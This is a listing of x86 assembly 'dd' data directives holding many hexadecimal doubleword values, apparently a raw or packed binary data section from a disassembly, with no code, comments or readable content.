		dd 6A230B43h, 0EC803305h, 2BEB038Ch, 261B6F0Ch,	0F61811h
		dd 2113BD80h, 0BEAF0A48h, 0F37D9307h, 678EF90Ch, 9FE0CEEEh
		dd 22D12h, 0BD486D23h, 3250E52h, 26783Ch, 2E2C754Bh, 0E8102904h
		dd 0F09500C9h, 6D74820Ah, 3D008E43h, 0AF5115F6h, 755329h
		dd 47AB021Ch, 0D6B63392h, 4613147Ah, 0C9004C69h, 89265B8Fh
		dd 73041E20h, 0A92443F5h, 0E0DBC6C9h, 666F5380h, 61777400h
		dd 0CA655F72h, 0DE48001Ch, 0FEF9633Fh, 0D83D9173h, 0FBEB802Bh
		dd 6E232938h, 10BC1F13h, 0A1FA80A4h, 0F8357F14h, 38858700h
		dd 0B5213912h, 0A4707CFh, 0E0242758h, 1322A654h, 0B1E2040Fh
		dd 9BC2A088h, 6F6621h, 753958E7h, 0E5B6C74Eh, 0A6385C00h
		dd 0BFA37756h, 3490009Bh, 0FDCF51D9h, 64031019h, 0B5ADA648h
		dd 8FE8C0E0h, 0D3371F49h, 0FC863FA2h, 5205503Bh, 230C5100h
		dd 0EB45A1C2h, 0E73E81Fh, 0BC34E8Bh, 553BC880h,	0E413B4FCh
		dd 2E030A37h
		dd 0E0068E4Fh, 48EAFA2Dh, 0C20FAD6Eh, 9A2C0A6h,	0CB41FCEEh
		dd 0F13DCCE3h, 80047B38h, 2A7D3E81h, 0AB15A68h,	998438Bh
		dd 0B3E803EAh, 50727B99h, 6F0CBC00h, 0F3F4120Ah, 0E87F47Ch
		dd 0CDE31328h, 0C0A7C845h, 89582A2h, 3C00F178h,	0AC042512h
		dd 48E09378h, 1000B62Ah, 8D520C06h, 4A000EBAh, 214BC22h
		dd 2993E8h, 0E6A2D272h,	11C98E7Dh, 6DF81F00h, 1DF1F35Eh
		dd 0B18B0051h, 1A7EA256h, 3C00C9EDh, 0AEB77DF2h, 52AAE9h
		dd 62BB4433h, 21590504h, 0F7EB3400h, 9612CADh, 76747FB0h
		dd 745B48E8h, 49017500h, 0DC76DA19h, 894C3001h,	6CB0C46h
		dd 17FF20h, 45C3B12Dh, 9B480B74h, 2EFC207Dh, 3AC0E900h
		dd 4BB8621Ah, 0F2BA0380h, 40B95F31h, 1C46C7D0h,	65D6E800h
		dd 827A079h, 50C4FA18h,	0B80FE502h, 29C00313h, 62491778h
		dd 4424A0F7h, 14002018h, 597E8088h, 222648h, 0FB96B2AEh
		dd 10510F99h, 7060520Ch, 852046h, 0FF32DA53h, 8920EB3Ch
		dd 7E810600h, 8BB3042Ah, 63A600B8h, 4EFF1FA3h, 0EA0050EEh
		dd 7BE82836h, 44C874h, 812D8CC9h, 6A96730Bh, 46E12C07h
		dd 0AB303950h, 5CAD2Ah,	0B1D58990h, 968D1361h, 7C2EB900h
		dd 4736FF24h, 0A85A0165h, 0D68B2280h, 5CFD86Eh,	0BC074C79h
		dd 1A1D0906h, 85405B80h, 2A8801F9h, 4AC2572Bh, 15472019h
		dd 8023A33Dh, 22EB5D0Ah, 1491C6h, 8AB29554h, 0F66A5840h
		dd 5E0F617Eh, 2083E8F5h, 3B5374B4h, 0B1223FB0h,	6FC91781h
		dd 607E316Bh, 20736C0h,	0FA480775h, 5EE4B1E0h, 0A47CC3h
		dd 23246D7Ch, 69B81188h, 0E9EB0402h, 809881A2h,	0DBF08BB3h
		dd 0A488008Dh, 49CF9092h, 2403D414h, 0EEDB108h,	4BCAE0EAh
		dd 143148E4h, 5C181A00h, 1C149FB3h, 4CE41190h, 7A3E2400h
		dd 1B13549Ah, 0B08200B5h, 87D882Ah, 0F80E1C90h,	200AAE11h
		dd 75CDFE07h, 0C30B02A4h, 8A94DE28h, 4FBABFC0h,	0E6F34Ch
		dd 0EF461CD3h, 20C30Eh,	0F718AFA6h, 0E9B767B8h,	0A97231Dh
		dd 0E479254Fh, 7580961Ah, 3C2AA1D8h, 0E8950EAh,	0B400FA83h
		dd 85541977h, 6032198h,	132453E1h, 41C5E94Eh, 98042CD4h
		dd 0FC480E0Fh, 0F0C015EFh, 5CC04B3Fh, 784A81E4h, 1A750A00h
		dd 73BB9A4h, 0A573E3C3h, 8A3D50F8h, 80011109h, 48302F9h
		dd 0E1F46B42h, 1D70FFC1h, 0B822000Dh, 0B046A868h, 9C0FC41Ah
		dd 600A3D32h, 81412919h, 0EBBF0074h, 764850DEh,	58005216h
		dd 0B472114Ch, 0EC04C601h, 40FF001Ah, 816656F3h, 13005830h
		dd 0F8425290h, 263C494Eh, 0ED51FFAh, 6F60D23Dh,	0DBF2724Ch
		dd 62B45E00h, 0B0FAE8F1h, 95AC00DDh, 3AC2484Fh,	6500F426h
		dd 104B8339h, 203CA2Bh,	7CF080C4h, 0A1808A1Fh, 3A9B3C42h
		dd 0D701172h, 60AA062Eh, 1EBEE00h, 122B4A33h, 3B8930h
		dd 64CEA7D2h, 5B1EDBB6h, 0AC0BAD4h, 0CDEB5837h,	43C30EACh
		dd 0CFE0850Ch, 6930C235h, 8797743Fh, 0FC5AE45Bh, 0E13D9B12h
		dd 0E5701877h, 120F1DF1h, 27B9C00Ah, 4B35FF05h,	0BCC60C00h
		dd 58F08904h, 24ED0198h, 4084B073h, 0E2E8700Ah,	76805A00h
		dd 45E89C6h, 56FF1D17h,	4587C718h, 0B8942069h, 76007166h
		dd 6F47BAF1h, 75BE77h, 0B7070FB2h, 0B045B3C8h, 21C5F507h
		dd 1E903347h, 90FC2E75h, 2803007Eh, 4987B8BBh, 600452Bh
		dd 1167FD1h, 7DC5A30Eh,	421900F4h, 5F4CA4F3h, 59503302h
		dd 100DA85h, 915D7A62h,	0B6E3D06h, 0AB75A04Eh, 39F6C780h
		dd 5800D050h, 49A6595Ah, 3B77426h, 95772BCDh, 0B87807D6h
		dd 0BA258E0Eh, 83750060h, 0EA7E40F9h, 0E9071F21h, 0B951C004h
		dd 4A27269Ah, 1E773F00h, 0D7532C7h, 7ED5015Bh, 608F0464h
		dd 1AC3E4FFh, 3FDC7100h, 2812F825h, 0EC0E3DA1h,	0CB802BBBh
		dd 2F820B7Eh, 44E874D1h, 0F1875A0Bh, 1D2D00F5h,	0AEA0BAh
		dd 542B7EBDh, 3B90E91Fh, 89DB520Fh, 3FDD201Eh, 580809F3h
		dd 8213B67Dh, 63490017h, 56C3EB15h, 10D38400h, 0E22B5A27h
		dd 121403CBh, 0C928B5CAh, 0E9428688h, 69C75300h, 8D368158h
		dd 55FF0E51h, 0B967C17Ah, 5A6CC001h, 0E202A4AAh, 0F04C49A9h
		dd 7B0DE020h, 40950483h, 0C1AEF2F4h, 0D349D125h, 21ED6C00h
		dd 2C663B97h, 0D7F60012h, 0ABA63790h, 0E000209Fh, 4574487Ch
		dd 71416CBh, 7F8DD5A2h,	0F29C02Bh, 5F001FE2h, 2CDB92C0h
		dd 4F6855h, 0DE011990h,	0ECE8C1C9h, 4224B201h, 3D620F16h
		dd 9E18FCh, 3318C50h, 800422B3h, 340045E0h, 0C3158451h
		dd 0EA48D8F7h, 4442007Dh, 3001F9E2h, 0B0EE0B3h,	0CB473198h
		dd 0C7670752h, 2DA3C3E0h, 6577005Eh, 70EED93Dh,	150001A4h
		dd 0A7FFF80h, 0EE13FC8h, 1C4002A0h, 840542E0h, 770008FAh
		dd 380C9C72h, 7A47C350h, 0F424000Fh, 9680C012h,	8C7A1698h
		dd 0BEBC200Fh, 6B286119h, 16A61CEEh, 80951F7Ah,	43B7E16Fh
		dd 0C0023BAh, 0D4A50410h, 0FE800DE8h, 84E7002Ah, 14A39174h
		dd 0E6F4F4F0h, 2DB52800h, 31A0020Ah, 0E35F18A9h, 8BF3C30h
		dd 8E1BC900h, 2EC54034h, 7CA258BCh, 76FA3700h, 0B6B3A0Eh
		dd 3E91DE38h, 234400E8h, 883E8AC7h, 4AC0162h, 0AD78EBC5h
		dd 7A80C041h, 26B71701h, 44D8D710h, 1AC90C0h, 8678326Eh
		dd 30484087h, 0A0357B5h, 0A968163Fh, 0EDA1804Bh, 0CE0703CCh
		dd 4ED3C21Bh, 1484A0C8h, 5161F800h, 527A5976h, 0A5C80407h
		dd 0C0B99019h, 0A0556724h, 200F3A0Fh, 8F27E0F4h, 0C358CECBh
		dd 0F894093Eh, 3F3978D8h, 875C813Dh, 36B90BE5h,	8FD1D7B7h
		dd 0DFEC5FA1h, 467004Eh, 0F2C9CD1Ch, 8300629Eh,	45812296h
		dd 1C6F7CF8h, 3F657AFCh, 2B70B500h, 9DC5ADA8h, 1697F00h
		dd 0FFCFA6D5h, 781F0E49h, 0C314B6BDh, 16C59B03h, 0EF80B3ABh
		dd 0E001413Dh, 0A48E98Ch, 93E4BAE4h, 24AAE0A8h,	0E78E617h
		dd 0B60516A1h, 55718012h, 8D093927h, 70F70Fh, 0C9304093h
		dd 0FFE33D3Ch, 8A529681h, 838E49E7h, 0EBFB9D9Ch, 5152007Eh
		dd 6A2F8C43h, 0F00195Ch, 0BBD226FCh, 1EE37640h,	8029F2CCh
		dd 7D817C84h, 0A141C44h, 0A4DB90h, 406F9FA4h, 1F8AA17h
		dd 0E30F10AEh, 0ECFAC4C5h, 0B01C9C59h, 0DD002AE9h, 4564F28Ah
		dd 0F7F300D4h, 4AE1EB03h, 0CF0F957Ah, 0A7A262D1h, 0D800DC07h
		dd 39B83Eh, 0E91C746h, 0A0AEA603h, 0A3E31900h, 750C17D0h
		dd 86812C39h, 48C9002Ah, 93A7E44Dh, 353BF0E1h, 0EDB2B800h
		dd 5D1CE553h, 0FDC5003Dh, 929E8B80h, 0F000A65Ah, 0C02001A1h
		dd 0F8CA554h, 0E5FB6137h, 5D259D01h, 0DBF9C089h, 0F3F86700h
		dd 7BA2BF27h, 80CAC0C8h, 20979B6Eh, 28A38h, 25C46052h
		dd 59F075h, 562FCD5h, 0CAAE3511h, 3F857B00h, 0F7144EFAh
		dd 0B33B007Dh, 0CB0413C8h, 0C1FE964h, 7F80BC03h, 59D109A8h
		dd 70C207E2h, 7023A508h, 5E8C2855h, 5C00B07Fh, 4C914197h
		dd 0B18D0h, 875C91Dh, 0DE74D20Fh, 58F8DBF0h, 0A791001h
		dd 0EEDAF726h, 73883ECh, 1CF3673h, 0D97E8334h, 20E9DB91h
		dd 8B75C16Fh, 3582CE00h, 0E75B906h, 0E0D100F6h,	0D68ED24Eh
		dd 3B0ED7C0h, 870B72FDh, 0F3700477h, 382B051Dh,	40001B1Fh
		dd 0F75BE7E2h, 0B301B1C3h, 4607740Ah, 0F7205669h, 0F3E003E5h
		dd 0E8EBD233h, 0F08B5BD0h, 0C023980Eh, 0FE832008h, 5875FFh
		dd 0B0FCA11h, 5B3981F2h, 5F18000h, 481C2478h, 0FFDA00C3h
		dd 0E8048237h, 0ED30F8D9h, 0ABAA462Bh, 2FE42EA8h, 0F882681h
		dd 8B40835Ah, 0A77B9EDAh
		dd 5D64F300h, 47565948h, 0C8EE07h, 0F07E25BEh, 0F495725Ch
		dd 0CA92AC07h, 7520F2F5h, 42CC88h, 2F3344DCh, 85844F80h
		dd 251520Fh, 40400FABh,	9C7C20F9h, 302C00F1h, 0D81C051Ah
		dd 0AB07B8C3h, 0FE2D331h, 2A60A510h, 5CFB0EE0h,	0C121061Ch
		dd 708B1FFAh, 9900E6FCh, 38F8D333h, 3B487FADh, 303F5EF9h
		dd 0E8000EBEh, 395364DAh, 2500AFEAh, 7E75F448h,	9D5442h
		dd 5E24054Bh, 0C93793C1h, 2C383500h, 535CAC92h,	317F000Ah
		dd 0C1F096Fh, 0F9031474h, 0FC2B7A81h, 0EC10F873h, 50F230A5h
		dd 0D81754DCh, 57F81A00h, 703C685Dh, 83FA42h, 0F01212Dh
		dd 0CC2ABCE1h, 8A309201h, 2299B355h, 3D3CF0h, 0DE605C6h
		dd 43460E02h, 1F0044F8h, 0E8C76603h, 0AF9D6Ch, 287F34A7h
		dd 92A40901h, 897058h, 4991410h, 0ECA78056h, 98EB00E8h
		dd 2940693Fh, 541F4BFAh, 2A050A90h, 5D80877Eh, 1A5A6Bh
		dd 697947F3h, 5F76139Bh, 22302D00h, 9DAB7CBAh, 3AE500F9h
		dd 0F4AF25Dh, 0D07B25Ah, 472CA31Bh, 9001BBE0h, 84280015h
		dd 204838DBh, 0C201F229h, 94345577h, 0D660CBF3h, 0B8090092h
		dd 0FC114710h, 0F8008891h, 0F072F4E4h, 90CEC39h, 8B82F53h
		dd 8343CC00h, 0CC033D2Ah, 197DE0D7h, 25E2F00Ah,	0D22E00E8h
		dd 1C8368A8h, 0E175406Ah, 987B4503h, 0D8A50C02h, 0AEB1Fh
		dd 2D31A153h, 3D0D8B43h, 0E01D8900h, 78156B19h,	83784Fh
		dd 2F2893E8h, 1CD422A3h, 56E75403h, 0E0A531B3h,	5771E14h
		dd 32157CC5h, 0D04CC74Eh, 8B730A3Bh, 282B2903h,	0A8CD191Fh
		dd 581246h, 548E0B2Dh, 318A4C9Bh, 1DC80D00h, 1442058Bh
		dd 0FF600084h, 15F66428h, 6D182C6Bh, 0AD04C382h, 4F34176Eh
		dd 80B71E5Bh, 7A17E022h, 0D903E612h, 0E3535A88h, 0AEE2A0B6h
		dd 0D4A100C5h, 8A7B3448h, 0CD00C48Bh, 0D88E6927h, 0B4E641h
		dd 8900460h, 0CAA8A10Ah, 0EA31300h, 0BA4B80Ch, 0EB2503E8h
		dd 8466937h, 94047BC8h,	4B13BA00h, 75F998B1h, 25EE6Eh
		dd 9E9D5014h, 764D8BC9h, 5328A200h, 20D53AEDh, 0C10CE627h
		dd 0EC908458h, 0C55B204Fh, 0D835FF00h, 0BCB93D14h, 331C014Eh
		dd 54CC2524h, 790BCC99h, 3401577Bh, 932DC45h, 69E480C4h
		dd 0EB601EA6h, 0A49ECF10h, 722413C0h, 99282004h, 2309EE08h
		dd 149118h, 7C0CE47Ah, 478E1EA8h, 40A05EA4h, 3998729Ch
		dd 90691C94h, 0F07FFE1Ah, 6C009170h, 64E468C8h,	98396072h
		dd 22586132h, 60502354h, 4800C819h, 407244E4h, 601C3C39h
		dd 23342238h, 2C009130h, 0B4E4B8C8h, 3BB072h, 0FC319382h
		dd 0A6F8104Ch, 0F4470800h, 0EC91F023h, 9FE800CFh, 10E494A1h
		dd 802E0CAh, 0D872DC64h, 0D0464139h, 23CC5E80h,	0DEC491C8h
		dd 0F8CE100h, 3D207B7h,	10E200C1h, 0B0C3C20Bh, 4F98A1E8h
		dd 0B62F9300h, 90AE01CCh, 7FE10181h, 187BD521h,	4914DC05h
		dd 57780800h, 64487710h, 5387000Ch, 517F90FDh, 1AB80F8Fh
		dd 697C9717h, 4C459501h, 4770F909h, 0B1465080h,	0A2423A3Ch
		dd 0E7641A83h, 898F06Ah, 0C83EF111h, 72F300F2h,	1CF539F4h
		dd 0F7C8C0F6h, 0F991F823h, 0E4FAC800h, 39FC72FBh, 0FE1C0EFDh
		dd 0E08CFF8Eh, 2303E12Ah, 0C8E391E2h, 72E588E4h, 0E73900E6h
		dd 0CF21E81Ch, 0E901884Bh, 32EAC5D7h, 0E20EB18h, 0ED1C30ECh
		dd 0EF23EE42h, 0C8D09100h, 72D2E4D1h, 0E83B75D3h, 0D6390CD5h
		dd 0D82AD71Ch, 91D92301h, 0E4DBC8DAh, 39DDC040h, 0DF1C20DEh
		dd 0C123C000h, 0C3C8C291h, 72C401E4h, 1CC639C5h, 722BEC7h
		dd 0CA91C923h, 0CCE4CB50h, 39CD0472h, 0CF1CCEh,	91B123B0h
		dd 0B3C824B2h, 39B58111h, 80B71CB6h, 0B923B822h, 0C8BA91h
		dd 72BCE4BBh, 1CBE39BDh, 12A0BF40h, 9BA122h, 705CC165h
		dd 431E23E8h, 1EBC848Fh, 425E082Ah, 65209F03h, 0E75BD8FEh
		dd 0AC901DCFh, 0C29C032h, 4B103CBAh, 0AA1FFC7Fh, 51400E2Ah
		dd 0F62F0501h, 2AB0FEh,	65637845h, 0A6D13A70h, 805D883Ah
		dd 8B530A7h, 1C8A1020h,	0C0685CD4h, 817E2423h, 651F4845h
		dd 5B037061h, 0ABE45790h, 95809CB2h, 0C015E2h, 754F450Ch
		dd 66017473h, 6D654D00h, 3A79726Fh, 9520001Ch, 0A9E95C5Eh
		dd 91EAB840h, 450BD4F5h, 0DD6E4909h, 3FEE0EBDh,	588E989Dh
		dd 48EF8390h, 2F0C9066h, 28400F74h, 0D8A06C61h,	0B258F057h
		dd 4C6030B0h, 2D12C484h, 846C0523h, 817E5F50h, 0F0756020h
		dd 10165209h, 35010E65h, 47F658A8h, 79043CD0h, 0F01F642h
		dd 76694445h, 415A7900h, 90016FBBh, 585E60C1h, 0EED4109Ch
		dd 2C00048h, 676E6152h,	9DFD1965h, 7700C820h, 8210C92h
		dd 4076014Fh, 6F6C66AFh, 2B74F44Dh, 0D95CB41Ch,	64221DC0h
		dd 0FC0C20E9h, 1E0A7EBFh, 0B9063B3h, 0F38F7AD5h, 688461A0h
		dd 940B2E60h, 7626B4h, 4F64691Eh, 0D2902A70h, 0BE07F193h
		dd 5B92B740h, 0C237B4C0h, 0E74F1FBCh, 61F16C4Ch, 14D4C1A4h
		dd 9A1F0062h, 0D0084740h, 520A6E55h, 0EE3A5964h, 6C76AB28h
		dd 0D188E500h, 8760220Fh, 4F6F0450h, 81854A36h,	0D044F649h
		dd 301DB90Ch, 97D567Eh,	8C433Ah, 63E98D01h, 7542F4AFh
		dd 0C01D0024h, 6F43450Dh, 0B002BAD4h, 80A2D858h, 0A00543BDh
		dd 0EACC4Ch, 41451005h,	7388C363h, 0E0568A00h, 0B9616C89h
		dd 0BC2A1E8Eh, 40F64047h, 26F42CB1h, 325048h, 1656C8Bh
		dd 503890E4h, 0C084CA64h, 0E803B0Ah, 74005345h,	6B632661h
		dd 67905081h, 4064A294h, 1109C93Bh, 20747003h, 0A7EF6C6Bh
		dd 58AFEC30h, 52E864h, 5684C83Bh, 390D8761h, 8A04512h
		dd 0D4FC8D00h, 58EA5C40h, 0C51E2449h, 0BD59C02Dh, 23614609h
		dd 8D646F0Eh, 0B260C057h, 7FE41DA8h, 8462030Eh,	738572D9h
		dd 490BDE8h, 839C6655h,	41491F0Ah, 4365D2ACh, 8F60E074h
		dd 0B289E7E4h, 890C8112h, 0C4002A1Eh, 8D70E3DCh, 6903FFh
		dd 59242552h, 0FDAA7ECh, 0C1C20100h, 0F76610EAh, 5DF407F3h
		dd 0D0F9ED08h, 0B0130693h, 0BD04D809h, 0B2768010h, 4CEDA1FEh
		dd 37003E74h, 525A6CCFh, 5C00212Bh, 6A69B3A9h, 29EA84h
		dd 10236DAFh, 2CA66706h, 1B409D00h, 44B7C38Bh, 4DEE00EDh
		dd 0B3E58F5h, 5B016D47h, 0D70D3D28h, 4BF8FC67h,	3AEB00E1h
		dd 0B04A2ADAh, 0C91690A5h, 0B1005388h, 0EBA80996h, 0D2D900DDh
		dd 89DC520Fh, 390716C1h, 47AC76D1h, 0F3C9003Eh,	12A74A6h
		dd 95FF5E8Ah, 70627852h, 770F7A94h, 0C07D4855h,	0A120DC7Fh
		dd 0A0C2703Bh, 0FB38F5h, 300FD874h, 0D706C3B6h,	69D02900h
		dd 31DFAE5Bh, 2EEA003Ch, 64EFADD4h, 2A00ED58h, 43A0E66Eh
		dd 7CF33Bh, 6807307h, 7620FF1Fh, 0A16F40Eh, 0C58B407Dh
		dd 0EB6192h, 2A914E17h,	6CF83037h, 0CB2BCE00h, 0D3674175h
		dd 99330073h, 575AD0DEh, 6A002187h, 51A65F09h, 0E44E08C6h
		dd 0C16F03B8h, 67E4BAC2h, 604FEBE0h, 1AFB0501h,	6844BDD8h
		dd 2502C8h, 54F7644Ah, 1E036669h, 0E7890800h, 0F90FC685h
		dd 4D4F0010h, 6818BAE2h, 0F8FE31B2h, 0AD0049E2h, 0F062B034h
		dd 0F829016Ah, 0B2640054h, 10240CDBh, 860067E8h, 557550BAh
		dd 12F3B91h, 3822F5D5h,	402E1004h, 0C4F278E2h, 3A3F9400h
		dd 0F4DAE445h, 0EE6A2E96h, 0A9F0001Bh, 795990AAh, 19E5F100h
		dd 0ED4B405Eh, 0F4263868h, 0DFEA503h, 51F01F8Ch, 0D90197F0h
		dd 89153D65h, 0BCC8F5Ch, 842401D4h, 0EB66ECA1h,	0AFE8D490h
		dd 43CC5600h, 9F0C62C6h
		dd 5FFE4Ch, 0D4D68251h,	993537AAh, 5A880207h, 32079D6Eh
		dd 31566910h, 3EF83F84h, 40E7C39Dh, 747F588Ah, 5C7C1228h
		dd 9AEFF00h, 6B291B50h,	3F840002h, 4461765Bh, 884CEE0Eh
		dd 75400E9Fh, 3802403Ch, 8C4F06h, 7C7FFF85h, 0CCD99DC7h
		dd 0FAACCF00h, 0B815D39Fh, 697970h, 2658E711h, 560580F0h
		dd 4DB90102h, 0E1BA7FCDh, 0C73F692Fh, 0B38069D4h, 0E4CCE884h
		dd 0AA0014E8h, 9213D353h, 0A32CFACh, 24F40852h,	70FC00E5h
		dd 0A40F45E3h, 12FB307h, 33D06DF7h, 3D3A20D2h, 0AFAE19E8h
		dd 0B6F400AEh, 0FA0E3816h, 1ADD3E00h, 0A0E7DC0Dh, 0CE00130h
		dd 729F2DB0h, 0A639600Eh, 58441A00h, 104686C2h,	5BC30012h
		dd 0BDE6127h, 29005E90h, 9697C714h, 7BC2516h, 0FEB818E8h
		dd 98C8D013h, 0EC0099E3h, 34D6373Bh, 16AFCAA4h,	11B080h
		dd 0E9C13A95h, 0A6004D9Fh, 38BED1D2h, 0F08BFFAEh, 0FD6E0021h
		dd 0DEEECE22h, 7600EF5Eh, 36404A3Ch, 73FC5FCh, 27895657h
		dd 7FF7405Ch, 9D06E7D1h, 0F899CA9Bh, 2447FAB8h,	0D6B5Eh
		dd 0CBA3501Bh, 0B0004C4Eh, 54C105F6h, 78410175h, 2DAA0029h
		dd 5AD91996h, 783D1785h, 0DFB0067h, 0D83B622Eh,	9FDA00C0h
		dd 50127DC5h, 0D000A928h, 597A8E90h, 15A5F25h, 802AF4D3h
		dd 0D0C6AACAh, 67003164h, 21D20BFFh, 8A249Eh, 13F80246h
		dd 99E823ACh, 0B057E53Ch, 0EA2112FAh, 94613920h, 985D9E03h
		dd 0CA9883A8h, 10EE097Ch, 95543200h, 6444A7D9h,	573A0E47h
		dd 506012ACh, 86405C3Dh, 0D0885F03h, 98E16392h,	67503h
		dd 4648F82Eh, 766CCCA2h, 97299800h, 0BCBAB662h,	55DC00EAh
		dd 0ABD447CBh, 1872F88Ch, 6BF9C000h, 0F20ACC88h, 951200E8h
		dd 0C41A10E6h, 78F8779Fh, 0D90070FCh, 0FBF2F87Dh, 761F0Eh
		dd 0AB9BBB05h, 944A8C26h, 8E7B9000h, 4B9FBC01h,	9DC400DFh
		dd 0E8D602CBh, 0A6F259FBh, 3C1C1900h, 20A864FFh, 6AA028Bh
		dd 0F0CF22CBh, 61F056C3h, 6C0524B1h, 8F9A289Ch,	62B01E87h
		dd 0F732E76Fh, 0A8DAADCh, 60537BE2h, 558C0094h,	5D892082h
		dd 16297F00h, 3CE1FA2h,	7D510068h, 0B22890FCh, 612C8C5h
		dd 0CC0012F4h, 0CE390E16h, 0ACB01CA1h, 0CB254920h, 4476C100h
		dd 4C3FEB28h, 0E90D002Bh, 0BF845FF7h, 6430031h,	0FEBAEAE8h
		dd 0EC730C88h, 1CEB4500h, 575302Dh, 0ACDA1E31h,	5CF100E8h
		dd 3A7FD25Ah, 340A6E03h, 0F8C825D8h, 1DFEB31h, 22BBE414h
		dd 0C42E6440h, 0B40F2919h, 9C2649h, 0DC75C3E0h,	0A6525851h
		dd 5AFBCD04h, 0A08D80EEh, 6000273h, 7D80DB31h, 727C9AEBh
		dd 12CA000Ah, 42D10104h, 8758A4ACh, 570C1FFDh, 0E948F7Ah
		dd 0E99D009Ah, 3C610ABAh, 0C6004454h, 5A18A104h, 9E7F8B59h
		dd 15D8331Dh, 302AF880h, 0E80A2274h, 803C0072h,	37097739h
		dd 0C0F7DB6Bh, 6C003BE4h, 12AC0B6h, 3E5080C3h, 1A0B9403h
		dd 0D68AE958h, 46178Dh,	1277A7DEh, 1077D4FFh, 390C093Dh
		dd 26B3807Ch, 0AB74EA1Ch, 4F1F0086h, 24C2ACDCh,	0C12488DFh
		dd 6E029DFFh, 0E070523Ch, 75015Ah, 0DE348D0Ch, 4A0F06D8h
		dd 43F0B60Fh, 669D8024h, 0F4406Dh, 0AA08CC6Eh, 7F88C111h
		dd 0F1816F00h, 41276112h, 4A1800CAh, 2102C604h,	93C2564h
		dd 34D08E7Bh, 6919C066h, 2C0111BEh, 3FE87Dh, 0B955D39Dh
		dd 0DC074D87h, 97D5D129h, 5D8DA330h, 20120061h,	0F29D1399h
		dd 53007368h, 44F9800Bh, 0B0C8D074h, 2A600EB4h,	40DE580Ah
		dd 826FB4B9h, 0F70023EBh, 1E575243h, 157480h, 48831B4Dh
		dd 0F95BFBC3h, 24FAE800h, 2D02B04Fh, 884E1F41h,	90F7C006h
		dd 4B758DDBh, 0F1AF3Fh,	9D038BCCh, 785848h, 92598043h
		dd 60EAE2BDh, 723AE900h, 2907C383h, 1E161E4Eh, 27033942h
		dd 9DDBC89h, 0CA75D080h, 0AF4D8D00h, 91A1F129h,	0E3B72E0h
		dd 39907654h, 0AEA7842h, 0D330F660h, 0F17B100h,	8F4257B5h
		dd 22111E15h, 3D854010h, 93ACE092h, 90017E0h, 0F70E79C0h
		dd 29E8D8h, 51875E81h, 65997E9Fh, 637B4B14h, 23EA0F90h
		dd 53D180CEh, 3E0BA88h,	520191FEh, 0D1DF220Fh, 0F055A9C2h
		dd 0F8ED89B0h, 0EF0008FDh, 3C96245Bh, 42EB05h, 2122C931h
		dd 0F9042BB0h, 0A280AC0Fh, 1235C0C8h, 38BCBEh, 5DD5D1Dh
		dd 0E391CCDh, 93005279h, 0F0713B13h, 6AD6B7h, 0EBCA5D5Fh
		dd 7C95170Bh, 9053400h,	0EABA74F6h, 3B710001h, 6F77E04Dh
		dd 0C01901Ah, 0D605091h, 2FC2A65h, 0E3291C97h, 0F24F8033h
		dd 5FB686F9h, 5040411Ch, 45C78880h, 1C52E04Bh, 0DF0431E9h
		dd 0B7FC4086h, 274EB01h, 6E98E103h, 0C047EFB3h,	1FF3F77h
		dd 0DF450E9Dh, 0E5029038h, 4440EE46h, 4E047E03h, 114DF5C8h
		dd 4B31AC0h, 7773FCB8h,	139EC92h, 0BA2576C2h, 0E08A4BB5h
		dd 0C3001B75h, 0F5F41509h, 8B0291h, 3BABE8Ch, 0F87B832Dh
		dd 2229B81Ch, 53260FC0h, 0B886FA50h, 46F201E3h,	0A9E8CF0Bh
		dd 0C155207Dh, 462873Eh, 0D9AB50C3h, 736FF680h,	0FD4F035h
		dd 2024B211h, 34E6BF40h, 9600F1FAh, 63824BD5h, 7B7D59E3h
		dd 900C0111h, 0CE2E0809h, 0E8D7F830h, 0E45C0F00h, 0F6034167h
		dd 0CC7C00FEh, 1BD5169h, 87009124h, 96CF38D1h, 52B785h
		dd 0C564FA48h, 0A4A7C4E1h, 391F5E00h, 0F09401DAh, 100200BBh
		dd 0E3D44513h, 0D300277Dh, 0E05AB67Ch, 3ACA2BC1h, 0D6603B78h
		dd 0F8E3321Ch, 4D759100h, 3EE6EAEh, 0F685008Dh,	7B9854EFh
		dd 0C0F57EBh, 0C05C40h,	2C23B38h, 437D7Ch, 0DDDB0330h
		dd 645157B2h, 62722F00h, 0A6B4BA7h, 0AA470095h,	0EC7D4F39h
		dd 923E2A34h, 0EEB0F2Dh, 2563E08Dh, 0E419F6h, 4118C5Eh
		dd 3490DCA4h, 7ADD6105h, 61870DD8h, 8EE84B20h, 0FBC100A5h
		dd 0D92A1179h, 351CDC01h, 16C0D848h, 0AA406EBh,	5A050013h
		dd 89CA0495h, 8400EE11h, 681C9D0Bh, 562E74h, 45C68510h
		dd 7E1EBAFFh, 730018ECh, 0FA3B0C4Dh, 47203Ch, 0F841F940h
		dd 0E8FE0581h, 3AD48200h, 6939FFB8h, 0EE80000Eh, 0D2121936h
		dd 600E92E7h, 471603D5h, 0D14020C2h, 9FE810h, 0AD6CD61h
		dd 0DB307828h, 0C8AE0660h, 0EA4714Fh, 0DD180886h, 1A79B40h
		dd 5EF2CB8Ah, 3B6A4C58h, 39A4BB80h, 92718770h, 8BC09757h
		dd 881EC5h, 66517231h, 0FDC79A5h, 0CF094F07h, 57D010D5h
		dd 278461h, 7E811575h, 456744A1h, 37E3C000h, 97173259h
		dd 2B8E0056h, 88723810h, 407CDAF4h, 915FF800h, 0E1E44D28h
		dd 0A6F4C8h, 4FE083C1h,	21D00C03h, 0C7D91401h, 0D64BEB4h
		dd 98CE60F8h, 0B585001Dh, 0B9157672h, 0F0F0190h, 0A15AF120h
		dd 0AED6E8B8h, 7C508D47h, 13F8B2h, 66FA6C14h, 0D8FE28E7h
		dd 0AAFD7000h, 3F1A40A7h, 0CD9A0162h, 8D7FE007h, 3431EC04h
		dd 2EE4C50Fh, 7DF821E5h, 68800DFEh, 21B58682h, 167ABD3Ah
		dd 7E772700h, 72052026h, 787A67h, 33F0CE0Ch, 3F6C18FBh
		dd 81C7FC00h, 0FE465C3Bh, 94620077h, 17904815h,	30070E7Eh
		dd 5C036618h, 41FE4E21h, 0F775F8h, 0A4D2C3Ch, 0A0C18B49h
		dd 0EF996700h, 6DF16963h, 3F7C13h, 0DC8D39D1h, 0F06A2BF2h
		dd 6CB14012h, 0F3FD2B00h, 0C36231h, 23EE810Ah, 857524D9h
		dd 7F144905h, 0B5C5FD45h, 76A39C3h, 0A8427C6Ah,	7791F073h
		dd 62037BE2h, 0B1B8461Ch, 0D21BE0AFh, 0E83C392Ch, 61BA1480h
